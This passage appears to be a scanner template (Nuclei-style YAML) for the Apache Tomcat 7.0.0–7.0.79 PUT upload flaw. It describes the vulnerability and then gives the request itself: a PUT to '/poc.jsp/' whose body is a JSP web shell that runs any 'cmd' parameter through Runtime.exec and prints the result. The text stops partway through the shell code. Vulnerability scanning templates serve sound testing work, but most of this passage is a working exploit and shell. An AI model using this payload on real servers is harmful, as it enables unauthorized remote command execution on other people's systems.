  description: |
        By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.
        This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.
        However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}
        Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.

requests:
  - method: PUT
    path:
      - "{{BaseURL}}/poc.jsp/"
    headers:
      Content-Type: application/x-www-form-urlencoded

        <%
        if (request.getParameter("cmd") != null) {
                out.println("Command: " + request.getParameter("cmd") + "<BR>");
                Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
                OutputStream os = p.getOutputStream();
                InputStream in = p.getInputStream();
                DataInputStream dis = new DataInputStream(in);
                String disr = dis.readLine();
                while ( disr != null ) {
                        out.println(disr);
